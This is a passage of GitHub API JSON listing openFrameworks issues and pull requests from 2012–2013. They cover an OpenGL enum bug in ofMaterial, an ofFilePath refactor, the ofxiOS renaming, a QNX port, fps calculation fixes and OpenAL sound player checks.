"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":5,"created_at":"2012-09-19T17:02:03Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Looks like ofMaterial uses GL_FRONT_AND_BACK for glGetMaterialfv().\n\nApparently GL_FRONT_AND_BACK is not a valid enum to be used with glGetMaterialfv():\nhttp://www.opengl.org/sdk/docs/man/xhtml/glGetMaterial.xml\n\nOnly GL_FRONT and GL_BACK are listed as valid ones. This was the cause of some very ambiguous errors for me. Future OpenGL calls would sometimes fail - like loading a shader that was otherwise fine, etc. since the ofShader would check for glGetError() and think there was an error related to it when the problem was in the ofMaterial class."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1599","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1599/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1599/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1599/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1599","id":6919682,"number":1599,"title":"get the path to an addon data folder","user":{"login":"underdoeg","id":243820,"avatar_url":"https://secure.gravatar.com/avatar/6ff8fe2dd72480f1685ee15e374205b7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ff8fe2dd72480f1685ee15e374205b7","url":"https://api.github.com/users/underdoeg","html_url":"https://github.com/underdoeg","followers_url":"https://api.github.com/users/underdoeg/followers","following_url":"https://api.github.com/users/underdoeg/following","gists_url":"https://api.github.com/users/underdoeg/gists{/gist_id}","starred_url":"https://api.github.com/users/underdoeg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/underdoeg/subscriptions","organizations_url":"https://api.github.com/users/underdoeg/orgs","repos_url":"https://api.github.com/users/underdoeg/repos","events_url":"https://api.github.com/users/underdoeg/events{/privacy}","received_events_url":"https://api.github.com/users/underdoeg/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2012-09-17T13:55:51Z","updated_at":"2013-01-07T00:19:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I wonder if there is a way to get the data path of a specific addon. It would be great to have the possibility to store addon related data within a folder so it wouldn't have to be added to the bin/data folder of each project.\n\nsomething like ofToAddonsDataPath(string addonName, string path);\n\nIs there a way to retrieve the of location with code. Because we can't guarantee anymore that the addons path is simply \"../../addons\""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1598","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1598/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1598/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1598/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1598","id":6918106,"number":1598,"title":"refactor ofFile and ofDirectory Poco::File into ofFilePath","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-09-17T12:56:14Z","updated_at":"2013-03-05T00:04:41Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1598","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1598.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1598.patch"},"body":"the Poco::File in ofFile and ofDirectory have been refactored into ofFilePath and those classes inherit now from ofFilePath. ofFilePath can be used to compare and join paths using the overloaded operators:\n\nofFilePath(\"images\") == ofFilePath(\"../data/images/\")\n\nreturns true\n\nofFlePath(\"images) + ofFilePath(\"img.jpg\")\n\nreturns \"images/img.jpg\" no matter the trailing slash\n\nofToDataPath has been refactored to use ofFilePath instead of string comparison\n\nstill needs some more testing"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1594","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1594/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1594/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1594/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1594","id":6893622,"number":1594,"title":"Graphics Updates / Fixes (see notes)","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":18,"created_at":"2012-09-15T07:54:17Z","updated_at":"2013-03-09T15:30:10Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1594","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1594.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1594.patch"},"body":"* Made default circle and curve resolutions match across `ofStyle` and `ofPath`.\n* Deprecated `arcResolution` in favor of `circleResolution`.\n* Require polyline curves in `ofPath` to respect the `ofPath`'s `curveResolution` and `circleResolution`.\n* Require global curve functions such as `ofCurve` to respect current `ofStyle`s `curveResolution`.\n* Updated `ofRectRounded`\n * Added support for multiple corner radii.\n * Use arcs rather than bezier curves.\n * Respect z.\n * Respect circleResolution.\n* Updated `ofPolyline` get bounding box to use `ofRectangle`'s new `growToInclude` method.\n* Added const correctness in several places."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1593","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1593/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1593/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1593/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1593","id":6892507,"number":1593,"title":"ios-bugfix-rename-step-1","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":8,"created_at":"2012-09-15T04:28:44Z","updated_at":"2013-02-11T12:16:06Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1593","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1593.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1593.patch"},"body":"this is the first PR (1/3) for renaming ofxiPhone to ofxiOS - issue #1382\n\nthis first step is concerned with updating the ios xcode projects to use ofxiOS naming.\nfull list of changes are below,\n\n- ofxiPhone folder has been renamed to ofxiOS\n- adjusted CoreOF.xcconfig - now uses HEADER_OFXIOS with new path to ofxiOS folder.\n- renamed product of the static lib to begin with ofxiOS\n- renamed ofxiphone-Info.plist to ofxiOS-Info.plist\n- renamed iPhone_Prefix.pch to iOS_Prefix.pch\n- adjusted projectGenerator and ios xcode template project to account for the above changes.\n- gitignore files have been adjusted to ignore the new names.\n\nhave tested rebuilding all the ios examples using the projectGenerator and all working well.\nbut if someone else can give this a test, that would be great!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1592","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1592/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1592/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1592/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1592","id":6861347,"number":1592,"title":"ofToString() does not report all digits of precision","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-09-13T21:32:45Z","updated_at":"2012-09-14T07:59:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"`ofToString()` should always return as many digits of precision as are available from the floating point value. it looks like right now, at least 2 or 3 digits of precision are being ignored. this was not a problem with `sprintf()`, but is a problem with `stringstream`. this problem first became clear with issue #1516 and a temporary fix was made to ofxXmlSettings, but a deeper fix to `ofToString()` still needs to be made."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1587","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1587/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1587/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1587/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1587","id":6800579,"number":1587,"title":"Patched openFrameworks 0071 for the QNX platform (BlackBerry PlayBook & BB10)","user":{"login":"falcon4ever","id":480019,"avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","url":"https://api.github.com/users/falcon4ever","html_url":"https://github.com/falcon4ever","followers_url":"https://api.github.com/users/falcon4ever/followers","following_url":"https://api.github.com/users/falcon4ever/following","gists_url":"https://api.github.com/users/falcon4ever/gists{/gist_id}","starred_url":"https://api.github.com/users/falcon4ever/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/falcon4ever/subscriptions","organizations_url":"https://api.github.com/users/falcon4ever/orgs","repos_url":"https://api.github.com/users/falcon4ever/repos","events_url":"https://api.github.com/users/falcon4ever/events{/privacy}","received_events_url":"https://api.github.com/users/falcon4ever/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-11T20:14:50Z","updated_at":"2012-09-12T00:14:31Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1587","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1587.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1587.patch"},"body":"This patch adds support for the QNX platforms (BlackBerry PlayBook & BB10) to openFrameworks.\n\nThe code is based of the developPlayBook branch (https://github.com/falcon4ever/openFrameworks/tree/developPlayBook) that has been used for the NodeBeat project (http://nodebeat.com/). However, I have updated the code for compatibility with openFrameworks 0071 (develop branch)\n\nThe current code has been tested using the following SDKs\n- BlackBerry PlayBook Native SDK 2.1.0 beta 1\n- BlackBerry 10 Native SDK 10.0.06 beta 2\n\nTo develop for QNX or run the examples, you will need to download the ofxQNX add-on and place it in the addon folder of openFrameworks.\n- ofxQNX is available on github: https://github.com/falcon4ever/ofxQNX\n\n\nFor now, ofxQNX resides in a different repository for the following reasons:\n- Because I include pre-compiled libraries, the current size of the repository is about 100 MB.\n- Pre-compiled libraries are used because of the complexity involved with building them from scratch. Most of them need to be patched for the QNX compiler and Poco for QNX can't be build on Windows platforms.\n- Another reason for the size (mostly due Poco) is because it supports multiple QNX architectures and build modes. The devices all use an ARMv7 cpu, the simulator uses x86.\n- > PlayBook device (ARMv7) - Release\n- > PlayBook device (ARMv7) - Debug\n- > PlayBook simulator (X86) - Debug\n- > BB10 device (ARMv7) - Release\n- > BB10 device (ARMv7) - Debug\n- > BB10 simulator (X86) - Debug\n\nAdditional info on ofxQNX:\n- https://github.com/falcon4ever/ofxQNX/blob/develop/README.md\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1586","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1586/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1586/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1586/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1586","id":6766233,"number":1586,"title":"ios-bugfix-orientation","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":7,"created_at":"2012-09-10T16:29:26Z","updated_at":"2013-03-11T02:30:20Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1586","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1586.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1586.patch"},"body":"ive closed the previous ios orientation PR as it had too many small commits which were going back and forth.\n\nthis PR is the final solution to ios orientation and is good to merge.\n\nios orientation changes are now natively animated by the view controller.\niosOrientationExample demonstrates all the new functionality."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1585","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1585/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1585/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1585/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1585","id":6730865,"number":1585,"title":"ofAppGlutWindow: fix fps calculation and makes setFramerate more accurate","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-08T12:21:50Z","updated_at":"2012-09-08T12:21:50Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1585","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1585.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1585.patch"},"body":"ofGetFrameRate was returning strange values when the gl load was high. Sometimes when the gl task is to gpu intensive it seems to skip a frame draw which gives really short times for one frame. since the fps calculation was accumulating old values this makes the fps go higher. in general this makes the fps go up to about 70-80fps while the total frames in one second is really about 60fps even when this happens. In some systems i've seen it go to even 300-400fps when the real framerate was 60\n\nThis commit fixes that problem + makes ofSetFrameRate more accurate by using microseconds where available (osx and linux) I've tested this reading the max and min times per frame setting the framerate and in an empty application the difference between the min and max times per frame are of about 0.1ms\n\nwould be good to test in other systems to check that it doesn't break, mostly on windows where sleep only works with milliseconds so the calculations are different and i might have introduced an error\n\nif this works properly it would be good to move this calculation to ofNotifyUpdate so different windowing systems don't need to replicate this code\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1582","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1582/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1582/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1582/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1582","id":6699645,"number":1582,"title":"ofOpenALSoundPlayer inconsistent checks for multiplay vs loop","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-09-06T21:05:30Z","updated_at":"2012-09-07T01:04:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"`ofOpenALSoundPlayer::setLoop` checks for multiplay and aborts of multiplay is true, but `setMultiplay` doesn't check for loop and abort if looping is set. \n\nthis check is perhaps better performed on the ofSoundPlayer before passing on the actual player instance."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1581","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1581/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1581/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1581/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1581","id":6699417,"number":1581,"title":"should the current ofStyle be global or local for each renderer?","user":{"login":"underdoeg","id":243820,"avatar_url":"https://secure.gravatar.com/avatar/6ff8fe2dd72480f1685ee15e374205b7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ff8fe2dd72480f1685ee15e374205b7","url":"https://api.github.com/users/underdoeg","html_url":"https://github.com/underdoeg","followers_url":"https://api.github.com/users/underdoeg/followers","following_url":"https://api.github.com/users/underdoeg/following","gists_url":"https://api.github.com/users/underdoeg/gists{/gist_id}","starred_url":"https://api.github.com/users/underdoeg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/underdoeg/subscriptions","organizations_url":"https://api.github.com/users/underdoeg/orgs","repos_url":"https://api.github.com/users/underdoeg/repos","events_url":"https://api.github.com/users/underdoeg/events{/privacy}","received_events_url":"https://api.github.com/users/underdoeg/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-09-06T20:57:50Z","updated_at":"2012-09-06T21:34:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofStyle is (mostly?) global within ofGraphics.cpp. We were talking about whether ofStyle should belong to the current render or if a global ofStyle makes more sense. I think having it globally can produce some unexpected behaviour when switching the renderer or when using using a renderer in a thread. I guess nobody is doing this currently but it might come up at some point.\n\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1580","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1580/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1580/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1580/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1580","id":6699268,"number":1580,"title":"ofOpenALSoundPlayer::loadSound calls stream() twice","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T20:51:57Z","updated_at":"2012-09-06T20:51:57Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/sound/ofOpenALSoundPlayer.cpp#L365\n\nand again at 